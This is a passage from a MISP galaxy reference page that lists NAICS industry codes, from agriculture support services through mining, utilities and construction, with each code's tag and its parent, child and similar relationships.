- child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11511" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="115111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115116" with estimative-language:likelihood-probability="likely"

11511

Support Activities for Crop Production

The tag is: *misp-galaxy:naics="11511"*

View relationships graph

11511 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115111

Cotton Ginning

The tag is: *misp-galaxy:naics="115111"*

View relationships graph

115111 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115112

Soil Preparation, Planting, and Cultivating

The tag is: *misp-galaxy:naics="115112"*

View relationships graph

115112 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115113

Crop Harvesting, Primarily by Machine

The tag is: *misp-galaxy:naics="115113"*

View relationships graph

115113 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115114

Postharvest Crop Activities (except Cotton Ginning)

The tag is: *misp-galaxy:naics="115114"*

View relationships graph

115114 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115115

Farm Labor Contractors and Crew Leaders

The tag is: *misp-galaxy:naics="115115"*

View relationships graph

115115 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

115116

Farm Management Services

The tag is: *misp-galaxy:naics="115116"*

View relationships graph

115116 has relationships with:

- child-of: misp-galaxy:naics="1151" with estimative-language:likelihood-probability="likely"

1152

Support Activities for Animal Production

The tag is: *misp-galaxy:naics="1152"*

View relationships graph

1152 has relationships with:

- child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115210" with estimative-language:likelihood-probability="likely"

11521

Support Activities for Animal Production

The tag is: *misp-galaxy:naics="11521"*

View relationships graph

11521 has relationships with:

- child-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="115210" with estimative-language:likelihood-probability="likely"

115210

Support Activities for Animal Production

The tag is: *misp-galaxy:naics="115210"*

View relationships graph

115210 has relationships with:

- child-of: misp-galaxy:naics="1152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11521" with estimative-language:likelihood-probability="likely"

1153

Support Activities for Forestry

The tag is: *misp-galaxy:naics="1153"*

View relationships graph

1153 has relationships with:

- child-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="115310" with estimative-language:likelihood-probability="likely"

11531

Support Activities for Forestry

The tag is: *misp-galaxy:naics="11531"*

View relationships graph

11531 has relationships with:

- child-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="115310" with estimative-language:likelihood-probability="likely"

115310

Support Activities for Forestry

The tag is: *misp-galaxy:naics="115310"*

View relationships graph

115310 has relationships with:

- child-of: misp-galaxy:naics="1153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11531" with estimative-language:likelihood-probability="likely"

21

Mining, Quarrying, and Oil and Gas Extraction

The tag is: *misp-galaxy:naics="21"*

View relationships graph

21 has relationships with:

- parent-of: misp-galaxy:naics="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213" with estimative-language:likelihood-probability="likely"

211

Oil and Gas Extraction

The tag is: *misp-galaxy:naics="211"*

View relationships graph

211 has relationships with:

- child-of: misp-galaxy:naics="21" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"

2111

Oil and Gas Extraction

The tag is: *misp-galaxy:naics="2111"*

View relationships graph

2111 has relationships with:

- child-of: misp-galaxy:naics="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="211120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="211130" with estimative-language:likelihood-probability="likely"

21112

Crude Petroleum Extraction

The tag is: *misp-galaxy:naics="21112"*

View relationships graph

21112 has relationships with:

- child-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="211120" with estimative-language:likelihood-probability="likely"

211120

Crude Petroleum Extraction

The tag is: *misp-galaxy:naics="211120"*

View relationships graph

211120 has relationships with:

- child-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21112" with estimative-language:likelihood-probability="likely"

21113

Natural Gas Extraction

The tag is: *misp-galaxy:naics="21113"*

View relationships graph

21113 has relationships with:

- child-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="211130" with estimative-language:likelihood-probability="likely"

211130

Natural Gas Extraction

The tag is: *misp-galaxy:naics="211130"*

View relationships graph

211130 has relationships with:

- child-of: misp-galaxy:naics="2111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21113" with estimative-language:likelihood-probability="likely"

212

Mining (except Oil and Gas)

The tag is: *misp-galaxy:naics="212"*

View relationships graph

212 has relationships with:

- child-of: misp-galaxy:naics="21" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

2121

Coal Mining

The tag is: *misp-galaxy:naics="2121"*

View relationships graph

2121 has relationships with:

- child-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212115" with estimative-language:likelihood-probability="likely"

21211

Coal Mining

The tag is: *misp-galaxy:naics="21211"*

View relationships graph

21211 has relationships with:

- child-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"

212114

Surface Coal Mining

The tag is: *misp-galaxy:naics="212114"*

View relationships graph

212114 has relationships with:

- child-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"

212115

Underground Coal Mining

The tag is: *misp-galaxy:naics="212115"*

View relationships graph

212115 has relationships with:

- child-of: misp-galaxy:naics="2121" with estimative-language:likelihood-probability="likely"

2122

Metal Ore Mining

The tag is: *misp-galaxy:naics="2122"*

View relationships graph

2122 has relationships with:

- child-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21222" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212220" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21223" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212230" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21229" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212290" with estimative-language:likelihood-probability="likely"

21221

Iron Ore Mining

The tag is: *misp-galaxy:naics="21221"*

View relationships graph

21221 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212210" with estimative-language:likelihood-probability="likely"

212210

Iron Ore Mining

The tag is: *misp-galaxy:naics="212210"*

View relationships graph

212210 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21221" with estimative-language:likelihood-probability="likely"

21222

Gold Ore and Silver Ore Mining

The tag is: *misp-galaxy:naics="21222"*

View relationships graph

21222 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212220" with estimative-language:likelihood-probability="likely"

212220

Gold Ore and Silver Ore Mining

The tag is: *misp-galaxy:naics="212220"*

View relationships graph

212220 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21222" with estimative-language:likelihood-probability="likely"

21223

Copper, Nickel, Lead, and Zinc Mining

The tag is: *misp-galaxy:naics="21223"*

View relationships graph

21223 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212230" with estimative-language:likelihood-probability="likely"

212230

Copper, Nickel, Lead, and Zinc Mining

The tag is: *misp-galaxy:naics="212230"*

View relationships graph

212230 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21223" with estimative-language:likelihood-probability="likely"

21229

Other Metal Ore Mining

The tag is: *misp-galaxy:naics="21229"*

View relationships graph

21229 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212290" with estimative-language:likelihood-probability="likely"

212290

Other Metal Ore Mining

The tag is: *misp-galaxy:naics="212290"*

View relationships graph

212290 has relationships with:

- child-of: misp-galaxy:naics="2122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21229" with estimative-language:likelihood-probability="likely"

2123

Nonmetallic Mineral Mining and Quarrying

The tag is: *misp-galaxy:naics="2123"*

View relationships graph

2123 has relationships with:

- child-of: misp-galaxy:naics="212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212312" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212319" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212322" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="212323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21239" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="212390" with estimative-language:likelihood-probability="likely"

21231

Stone Mining and Quarrying

The tag is: *misp-galaxy:naics="21231"*

View relationships graph

21231 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212311

Dimension Stone Mining and Quarrying

The tag is: *misp-galaxy:naics="212311"*

View relationships graph

212311 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212312

Crushed and Broken Limestone Mining and Quarrying

The tag is: *misp-galaxy:naics="212312"*

View relationships graph

212312 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212313

Crushed and Broken Granite Mining and Quarrying

The tag is: *misp-galaxy:naics="212313"*

View relationships graph

212313 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212319

Other Crushed and Broken Stone Mining and Quarrying

The tag is: *misp-galaxy:naics="212319"*

View relationships graph

212319 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

21232

Sand, Gravel, Clay, and Ceramic and Refractory Minerals Mining and Quarrying

The tag is: *misp-galaxy:naics="21232"*

View relationships graph

21232 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212321

Construction Sand and Gravel Mining

The tag is: *misp-galaxy:naics="212321"*

View relationships graph

212321 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212322

Industrial Sand Mining

The tag is: *misp-galaxy:naics="212322"*

View relationships graph

212322 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

212323

Kaolin, Clay, and Ceramic and Refractory Minerals Mining

The tag is: *misp-galaxy:naics="212323"*

View relationships graph

212323 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"

21239

Other Nonmetallic Mineral Mining and Quarrying

The tag is: *misp-galaxy:naics="21239"*

View relationships graph

21239 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="212390" with estimative-language:likelihood-probability="likely"

212390

Other Nonmetallic Mineral Mining and Quarrying

The tag is: *misp-galaxy:naics="212390"*

View relationships graph

212390 has relationships with:

- child-of: misp-galaxy:naics="2123" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="21239" with estimative-language:likelihood-probability="likely"

213

Support Activities for Mining

The tag is: *misp-galaxy:naics="213"*

View relationships graph

213 has relationships with:

- child-of: misp-galaxy:naics="21" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

2131

Support Activities for Mining

The tag is: *misp-galaxy:naics="2131"*

View relationships graph

2131 has relationships with:

- child-of: misp-galaxy:naics="213" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="21311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="213115" with estimative-language:likelihood-probability="likely"

21311

Support Activities for Mining

The tag is: *misp-galaxy:naics="21311"*

View relationships graph

21311 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213111

Drilling Oil and Gas Wells

The tag is: *misp-galaxy:naics="213111"*

View relationships graph

213111 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213112

Support Activities for Oil and Gas Operations

The tag is: *misp-galaxy:naics="213112"*

View relationships graph

213112 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213113

Support Activities for Coal Mining

The tag is: *misp-galaxy:naics="213113"*

View relationships graph

213113 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213114

Support Activities for Metal Mining

The tag is: *misp-galaxy:naics="213114"*

View relationships graph

213114 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

213115

Support Activities for Nonmetallic Minerals (except Fuels) Mining

The tag is: *misp-galaxy:naics="213115"*

View relationships graph

213115 has relationships with:

- child-of: misp-galaxy:naics="2131" with estimative-language:likelihood-probability="likely"

22

Utilities

The tag is: *misp-galaxy:naics="22"*

View relationships graph

22 has relationships with:

- parent-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"

221

Utilities

The tag is: *misp-galaxy:naics="221"*

View relationships graph

221 has relationships with:

- child-of: misp-galaxy:naics="22" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"

2211

Electric Power Generation, Transmission and Distribution

The tag is: *misp-galaxy:naics="2211"*

View relationships graph

2211 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221113" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221114" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221118" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221122" with estimative-language:likelihood-probability="likely"

22111

Electric Power Generation

The tag is: *misp-galaxy:naics="22111"*

View relationships graph

22111 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221111

Hydroelectric Power Generation

The tag is: *misp-galaxy:naics="221111"*

View relationships graph

221111 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221112

Fossil Fuel Electric Power Generation

The tag is: *misp-galaxy:naics="221112"*

View relationships graph

221112 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221113

Nuclear Electric Power Generation

The tag is: *misp-galaxy:naics="221113"*

View relationships graph

221113 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221114

Solar Electric Power Generation

The tag is: *misp-galaxy:naics="221114"*

View relationships graph

221114 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221115

Wind Electric Power Generation

The tag is: *misp-galaxy:naics="221115"*

View relationships graph

221115 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221116

Geothermal Electric Power Generation

The tag is: *misp-galaxy:naics="221116"*

View relationships graph

221116 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221117

Biomass Electric Power Generation

The tag is: *misp-galaxy:naics="221117"*

View relationships graph

221117 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221118

Other Electric Power Generation

The tag is: *misp-galaxy:naics="221118"*

View relationships graph

221118 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

22112

Electric Power Transmission, Control, and Distribution

The tag is: *misp-galaxy:naics="22112"*

View relationships graph

22112 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221121

Electric Bulk Power Transmission and Control

The tag is: *misp-galaxy:naics="221121"*

View relationships graph

221121 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

221122

Electric Power Distribution

The tag is: *misp-galaxy:naics="221122"*

View relationships graph

221122 has relationships with:

- child-of: misp-galaxy:naics="2211" with estimative-language:likelihood-probability="likely"

2212

Natural Gas Distribution

The tag is: *misp-galaxy:naics="2212"*

View relationships graph

2212 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221210" with estimative-language:likelihood-probability="likely"

22121

Natural Gas Distribution

The tag is: *misp-galaxy:naics="22121"*

View relationships graph

22121 has relationships with:

- child-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="221210" with estimative-language:likelihood-probability="likely"

221210

Natural Gas Distribution

The tag is: *misp-galaxy:naics="221210"*

View relationships graph

221210 has relationships with:

- child-of: misp-galaxy:naics="2212" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="22121" with estimative-language:likelihood-probability="likely"

2213

Water, Sewage and Other Systems

The tag is: *misp-galaxy:naics="2213"*

View relationships graph

2213 has relationships with:

- child-of: misp-galaxy:naics="221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221310" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221320" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="22133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="221330" with estimative-language:likelihood-probability="likely"

22131

Water Supply and Irrigation Systems

The tag is: *misp-galaxy:naics="22131"*

View relationships graph

22131 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="221310" with estimative-language:likelihood-probability="likely"

221310

Water Supply and Irrigation Systems

The tag is: *misp-galaxy:naics="221310"*

View relationships graph

221310 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="22131" with estimative-language:likelihood-probability="likely"

22132

Sewage Treatment Facilities

The tag is: *misp-galaxy:naics="22132"*

View relationships graph

22132 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:naics="221320" with estimative-language:likelihood-probability="likely"

221320

Sewage Treatment Facilities

The tag is: *misp-galaxy:naics="221320"*

View relationships graph

221320 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="22132" with estimative-language:likelihood-probability="likely"

22133

Steam and Air-Conditioning Supply

The tag is: *misp-galaxy:naics="22133"*

View relationships graph

22133 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="221330" with estimative-language:likelihood-probability="likely"

221330

Steam and Air-Conditioning Supply

The tag is: *misp-galaxy:naics="221330"*

View relationships graph

221330 has relationships with:

- child-of: misp-galaxy:naics="2213" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="22133" with estimative-language:likelihood-probability="likely"

23

Construction

The tag is: *misp-galaxy:naics="23"*

View relationships graph

23 has relationships with:

- parent-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="238" with estimative-language:likelihood-probability="likely"

236

Construction of Buildings

The tag is: *misp-galaxy:naics="236"*

View relationships graph

236 has relationships with:

- child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"

2361

Residential Building Construction

The tag is: *misp-galaxy:naics="2361"*

View relationships graph

2361 has relationships with:

- child-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236115" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236116" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236117" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236118" with estimative-language:likelihood-probability="likely"

23611

Residential Building Construction

The tag is: *misp-galaxy:naics="23611"*

View relationships graph

23611 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236115

New Single-Family Housing Construction (except For-Sale Builders)

The tag is: *misp-galaxy:naics="236115"*

View relationships graph

236115 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236116

New Multifamily Housing Construction (except For-Sale Builders)

The tag is: *misp-galaxy:naics="236116"*

View relationships graph

236116 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236117

New Housing For-Sale Builders

The tag is: *misp-galaxy:naics="236117"*

View relationships graph

236117 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

236118

Residential Remodelers

The tag is: *misp-galaxy:naics="236118"*

View relationships graph

236118 has relationships with:

- child-of: misp-galaxy:naics="2361" with estimative-language:likelihood-probability="likely"

2362

Nonresidential Building Construction

The tag is: *misp-galaxy:naics="2362"*

View relationships graph

2362 has relationships with:

- child-of: misp-galaxy:naics="236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236210" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="236220" with estimative-language:likelihood-probability="likely"

23621

Industrial Building Construction

The tag is: *misp-galaxy:naics="23621"*

View relationships graph

23621 has relationships with:

- child-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="236210" with estimative-language:likelihood-probability="likely"

236210

Industrial Building Construction

The tag is: *misp-galaxy:naics="236210"*

View relationships graph

236210 has relationships with:

- child-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23621" with estimative-language:likelihood-probability="likely"

23622

Commercial and Institutional Building Construction

The tag is: *misp-galaxy:naics="23622"*

View relationships graph

23622 has relationships with:

- child-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="236220" with estimative-language:likelihood-probability="likely"

236220

Commercial and Institutional Building Construction

The tag is: *misp-galaxy:naics="236220"*

View relationships graph

236220 has relationships with:

- child-of: misp-galaxy:naics="2362" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23622" with estimative-language:likelihood-probability="likely"

237

Heavy and Civil Engineering Construction

The tag is: *misp-galaxy:naics="237"*

View relationships graph

237 has relationships with:

- child-of: misp-galaxy:naics="23" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2372" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2373" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="2379" with estimative-language:likelihood-probability="likely"

2371

Utility System Construction

The tag is: *misp-galaxy:naics="2371"*

View relationships graph

2371 has relationships with:

- child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:naics="23711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23712" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237120" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23713" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237130" with estimative-language:likelihood-probability="likely"

23711

Water and Sewer Line and Related Structures Construction

The tag is: *misp-galaxy:naics="23711"*

View relationships graph

23711 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237110" with estimative-language:likelihood-probability="likely"

237110

Water and Sewer Line and Related Structures Construction

The tag is: *misp-galaxy:naics="237110"*

View relationships graph

237110 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23711" with estimative-language:likelihood-probability="likely"

23712

Oil and Gas Pipeline and Related Structures Construction

The tag is: *misp-galaxy:naics="23712"*

View relationships graph

23712 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237120" with estimative-language:likelihood-probability="likely"

237120

Oil and Gas Pipeline and Related Structures Construction

The tag is: *misp-galaxy:naics="237120"*

View relationships graph

237120 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23712" with estimative-language:likelihood-probability="likely"

23713

Power and Communication Line and Related Structures Construction

The tag is: *misp-galaxy:naics="23713"*

View relationships graph

23713 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237130" with estimative-language:likelihood-probability="likely"

237130

Power and Communication Line and Related Structures Construction

The tag is: *misp-galaxy:naics="237130"*

View relationships graph

237130 has relationships with:

- child-of: misp-galaxy:naics="2371" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23713" with estimative-language:likelihood-probability="likely"

2372

Land Subdivision

The tag is: *misp-galaxy:naics="2372"*

View relationships graph

2372 has relationships with:

- child-of: misp-galaxy:naics="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="23721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="237210" with estimative-language:likelihood-probability="likely"

23721

Land Subdivision

The tag is: *misp-galaxy:naics="23721"*

View relationships graph

23721 has relationships with:

- child-of: misp-galaxy:naics="2372" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="237210" with estimative-language:likelihood-probability="likely"

237210

Land Subdivision

The tag is: *misp-galaxy:naics="237210"*

View relationships graph

237210 has relationships with:

- child-of: misp-galaxy:naics="2372" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="23721" with estimative-language:likelihood-probability="likely"

2373

Highway, Street, and Bridge Construction

The tag is: *misp-galaxy:naics="2373"*

View relationships graph

2373 has relationships with:

